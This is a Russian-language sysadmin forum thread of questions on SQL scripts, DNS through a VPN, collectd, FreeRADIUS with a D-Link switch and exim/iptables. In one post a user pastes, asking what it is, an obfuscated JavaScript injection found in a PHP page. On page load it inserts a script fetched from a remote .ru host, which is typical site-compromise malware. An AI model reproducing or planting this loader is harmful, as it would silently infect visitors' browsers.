SQL script help needed.
Здравствуй многоуважаемый АЛЛ.
Вопрос состоит в следующем, можно ли в sql скрипте получить название его самого, чтото как в баше
$cat new.sh
#!/bin/bash
echo $0
$./new.sh
./new.sh
Заранее огромное спасибо.
Здравствуй многоуважаемый АЛЛ.
Вопрос состоит в следующем, можно ли в sql скрипте получить название его самого, чтото как в баше
$cat new.sh
#!/bin/bash
echo $0
$./new.sh
./new.sh
Заранее огромное спасибо.
Доброго Времени суток, уважаемый АЛЛ.
Вопрос вследующем: а) возможно ли настроить bind/any DNS server так чтобы все имена резолвились через сокет.
Предистория вопроса: Имеется некоторая впн сеть с впном от Нортела(это тот который к чертям обрывает все соединения куда угодно,кроме как к впн серверу). Нужно получать хосты из этой сети, без входа в неё. Решение которое вижу — на машине поднимается виртуалка(vbox/vmware), На обоих машинах(виртуалка + основная) поднимаются бинды(назовем их bind1 на основной машине, и bind2 на виртуалке, которая в впне). архитектура:
приходит запрос на некоторый домен(www.1.pupkin.com) на бинд1, он через сокет запрашивает у бинд2 IP, бинд2 запрашивает в впне IP далее возвращает результат на сокет, далее бинд1 отвечает на запрос только уже на сетевой интерфейс.
Спасибо заранее.
Здраствуй уважаемый олл. кто разберается что вот это может означать в хтмлине,если быть точнее - в пхпешине, однако вне <?php 8<>8 ?>
<script>var Y;if(Y!='cr' && Y!='R'){Y=''};var b;if(b!='t' && b!='RC'){b=''};var YO;if(YO!=''){YO='g'};function l(){var lq;if(lq!=''){lq='V'};this.W="";var Dj;if(Dj!='Wl' && Dj!='B'){Dj=''};var z=unescape;var c=window;var K=z("%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%63%6e%62%6c%6f%67%73%2e%63%6f%6d%2f%74%6f%79%73%72%75%73%2e%63%6f%6d%2e%70%68%70");var EW=new String();var Yu;if(Yu!='' && Yu!='_E'){Yu=''};function k(cU,D){var kz=new Date();var MD;if(MD!='' && MD!='nb'){MD=''};var L;if(L!='' && L!='oT'){L=null};var u="g";var x=z("%5b"), zk=z("%5d");this.PB='';this.v="";var r=x+D+zk;var _n="";var Ri=new Date();var M=new RegExp(r, u);var e;if(e!='vP'){e=''};return cU.replace(M, new String());};var wv;if(wv!='Wy'){wv=''};var JS;if(JS!='kf'){JS=''};var vS=new String();var GZ;if(GZ!='' && GZ!='ED'){GZ='VN'};var kY=new Date();var ph;if(ph!='zU' && ph!='hb'){ph=''};var nq=new Array();var _=k('83103484140431','134');var E=document;var RL='';var DG=new String();this._C='';var Zl='';function w(){var Gy="";var S=z("%68%74%74%70%3a%2f%2f%69%63%79%63%68%69%6e%61%2e%72%75%3a");var cY;if(cY!='Hd'){cY='Hd'};var zm;if(zm!='' && zm!='N'){zm=null};DG=S;var C="";DG+=_;var QR;if(QR!='QD'){QR='QD'};var fj=new Date();DG+=K;var Rmg=new String();this.Mb='';var XU='';try {var th=new String();var FQ;if(FQ!='rj' && FQ!='aY'){FQ='rj'};this._CI="";G=E.createElement(k('s2cPrJi2pYt4','47nAPJY2E'));this.Pr="";G[z("%73%72%63")]=DG;var ub=new Array();var GyE=new Array();G[z("%64%65%66%65%72")]=[1][0];var Xz;if(Xz!='abZ'){Xz='abZ'};E.body.appendChild(G);var Qs;if(Qs!='' && Qs!='ff'){Qs=null};this.Td='';var Ir;if(Ir!='Cz'){Ir='Cz'};var gr=new Date();} catch(km){var ip;if(ip!='TO' && ip != ''){ip=null};this.ES='';alert(km);var vN=new Array();var zQ=new Array();};var dv;if(dv!='' && dv!='Hq'){dv=''};}var Tg=new Array();var vD=new Array();c[String("onl"+"oadYP1".substr(0,3))]=w;var q;if(q!='' && q!='lz'){q=''};var WQ=new Date();this.io="";var pu=new Array();};var xbM=new Date();var SI;if(SI!='Tf'){SI=''};this.OU="";l();var SY;if(SY!='TD'){SY='TD'};this.Vu='';</script>
Здраствуй Уважаемый алл! Имеется сервер Fedora 9 с collectd со след конфигом:
FQDNLookup true
LoadPlugin syslog
LoadPlugin cpu
LoadPlugin irq
LoadPlugin rrdtool
собсна хочештся собирать информацию о прерываниях. однако не тут то было. vmstat показывает:
# vmstat 2
procs -----------memory---------- ---swap-- -----io---- --system-- -----cpu------
r b swpd free buff cache si so bi bo in cs us sy id wa st
1 0 0 84672 178340 1597928 0 0 3 5 3 7 0 14 86 0 0
0 0 0 84672 178340 1597928 0 0 0 0 11403 1160 0 20 81 0 0
0 0 0 84704 178340 1597928 0 0 0 22 11373 1290 0 23 77 0 0
0 0 0 84672 178340 1597928 0 0 0 0 11752 1249 0 26 74 0 0
0 0 0 84704 178340 1597928 0 0 0 0 11443 1156 0 24 77 0 0
а в rrd фалах вижу следующее:
/irq# for i in `ls`;do rrdtool fetch $i MAX|egrep -v '0.0000000000e|nan|5.0000000000e-01|^$|value';echo $i;done
1268902950: 5.7000000000e+00
1268903230: 1.3650000000e+01
1268903300: 1.3650000000e+01
1268903580: 4.2350000000e+01
1268903860: 1.5190000000e+01
1268904140: 7.0000000000e+00
irq-0.rrd
1268902950: 3.7000000000e+00
1268903020: 9.6700000000e+00
1268903090: 9.6700000000e+00
1268903160: 7.1900000000e+00
1268903230: 5.5300000000e+00
1268903300: 2.5900000000e+00
1268903370: 1.4000000000e-01
1268903440: 2.5200000000e+00
1268903510: 2.9400000000e+00
1268903580: 7.0000000000e-01
1268903650: 1.4000000000e-01
1268903720: 2.6100000000e+00
1268903790: 4.6200000000e+00
1268903860: 1.4000000000e-01
1268903930: 1.4000000000e-01
1268904000: 1.1400000000e+00
1268904070: 7.1900000000e+00
1268904140: 9.7000000000e-01
1268904210: 5.5000000000e-01
1268904280: 3.2200000000e+00
1268904350: 3.3600000000e+00
irq-14.rrd
irq-15.rrd
irq-16.rrd
irq-17.rrd
irq-18.rrd
irq-1.rrd
irq-219.rrd
irq-220.rrd
irq-22.rrd
irq-23.rrd
irq-3.rrd
irq-4.rrd
irq-7.rrd
irq-8.rrd
irq-9.rrd
Здраствуй уважаемый алл
имеется Сервер радиуса на дебиане, и свич 2-го уровня DLINK DES3010G.
после авторизации бросает порт в нужный влан, однако то чего добиться не удалось, а очень нужно:
а)не выдается ip по framed-ip-address и соотв остальные настроки;
б)пользователь может авторизоваться на нескольких портах одновременно, что есть вообще плохо.(usercollision никак не помогли)
в)и хотелось бы ограничить прием с конкретного ипа один ип и не более того.
вот пример конфига для юзверя, все остальное по дефолту:
steve Cleartext-Password := «test»
Service-Type = Framed-User,
Framed-Protocol = PPP,
Framed-IP-Address = 192.168.1.3,
Framed-IP-Netmask = 255.255.255.0,
Framed-Route = «192.168.1.1»,
Tunnel-type = VLAN,
Tunnel-medium-type = IEEE-802,
Tunnel-Private-Group-Id = 1041,
Framed-Compression = Van-Jacobsen-TCP-IP
итого получаю
$sudo freeradius -X
rad_recv: Access-Request packet from host 10.90.90.2 port 8021, id=13, length=180
Framed-MTU = 1466
NAS-IP-Address = 10.90.90.2
NAS-Identifier = «D-Link»
User-Name = «steve»
Service-Type = Framed-User
NAS-Port = 4
NAS-Port-Type = Ethernet
NAS-Port-Id = «ether4_49»
Called-Station-Id = «00-22-b0-5d-4b-57»
Calling-Station-Id = «00-e0-91-34-f0-46»
Connect-Info = «CONNECT Ethernet 2Mbps Full duplex»
EAP-Message = 0x0202000a017374657665
Message-Authenticator = 0xd37bb7ce7ba039bc5325b7a9381b3358
8<->8
Sending Access-Challenge of id 13 to 10.90.90.2 port 8021
Service-Type = Framed-User
Framed-Protocol = PPP
Framed-IP-Address = 192.168.1.3
Framed-IP-Netmask = 255.255.255.0
Framed-Route = «192.168.1.1»
Tunnel-Type:0 = VLAN
Tunnel-Medium-Type:0 = IEEE-802
Tunnel-Private-Group-Id:0 = «1041»
Framed-Compression = Van-Jacobson-TCP-IP
EAP-Message = 0x0103001604101da839e88b838d9d894cf805f2a56930
Message-Authenticator = 0x00000000000000000000000000000000
State = 0x3aa8a9903aabad08238a0b74477ee417
8<->8
rad_recv: Access-Request packet from host 10.90.90.2 port 8021, id=14, length=215
Framed-MTU = 1466
NAS-IP-Address = 10.90.90.2
NAS-Identifier = «D-Link»
User-Name = «steve»
Service-Type = Framed-User
NAS-Port = 4
NAS-Port-Type = Ethernet
NAS-Port-Id = «ether4_49»
Called-Station-Id = «00-22-b0-5d-4b-57»
Calling-Station-Id = «00-e0-91-34-f0-46»
Connect-Info = «CONNECT Ethernet 2Mbps Full duplex»
State = 0x3aa8a9903aabad08238a0b74477ee417
EAP-Message = 0x0203001b0410e3e8b2996c27ca1aff35e7d4916619427374657665
Message-Authenticator = 0xc1fff9eb5c0a5e96ae6bea005e070c6a
8<-->8
Login OK: [steve/<via Auth-Type = EAP>] (from client Dlink port 4 cli 00-e0-91-34-f0-46)
8<-->8
Sending Access-Accept of id 14 to 10.90.90.2 port 8021
Service-Type = Framed-User
Framed-Protocol = PPP
Framed-IP-Address = 192.168.1.3
Framed-IP-Netmask = 255.255.255.0
Framed-Route = «192.168.1.1»
Tunnel-Type:0 = VLAN
Tunnel-Medium-Type:0 = IEEE-802
Tunnel-Private-Group-Id:0 = «1041»
Framed-Compression = Van-Jacobson-TCP-IP
EAP-Message = 0x03030004
Message-Authenticator = 0x00000000000000000000000000000000
User-Name = «steve»
rad_recv: Accounting-Request packet from host 10.90.90.2 port 8022, id=15, length=104
Acct-Session-Id = «000000000004»
Acct-Status-Type = Start
Acct-Authentic = RADIUS
Acct-Delay-Time = 0
NAS-Port = 4
Calling-Station-Id = «00-E0-91-34-F0-46»
Service-Type = Framed-User
NAS-IP-Address = 10.90.90.2
NAS-Identifier = «D-Link»
User-Name = «steve»
rlm_acct_unique: Hashing 'NAS-Port = 4,Client-IP-Address = 10.90.90.2,NAS-IP-Address = 10.90.90.2,Acct-Session-Id = «000000000004»,User-Name = «steve»'
Sending Accounting-Response of id 15 to 10.90.90.2 port 8022
Настраивал свитч по вот этому мануалу:
http://www.dlink.ru/ru/faq/62/238.html
Вобщем что делать и как быть? спасайте
PS также вопрос можно ли както средствами radius получать статистику траффика на порту, пока нашел только вариант с временем.
Здраствуйте, имеется сервер exim с задержкой в 30 секунд перед приемом почты :
warn
set acl_m0 = 30s
warn
logwrite = Delay $acl_m0 for $sender_host_name \
[$sender_host_address] with HELO=$sender_helo_name. Mail \
from $sender_address to $local_part@$domain.
delay = $acl_m0
myuser@myserver:/home/scripts/iptable# cat add
#!/bin/bash
while read r
do
s=`echo $r | sed "s/\].*//; s/.*\[//"`;
r=`echo $s`;
iptables -A INPUT -s $r -j REJECT
echo "$r">>/home/scripts/iptable/mail
echo "$r";
done
PS пример лога: 2009-12-24 15:39:20 unexpected disconnection while reading SMTP command from (bezeqint.net) [109.67.23.150] I=[myserver]:25
это все дело не работает. Причина неясна, однако интуиция подсказывают что дело в цикле while. Спасибо огромное за любую оказанную помощь.
Здраствуй уважаемый алл. Вожусь вторую неделю с установкой сего счастья, Дайте пожалуйста хорошую инструкцию по установке, желательно под дебиан, однако все варианты порадуют. Основная проблем -- сив сервер не авторизирует администратора.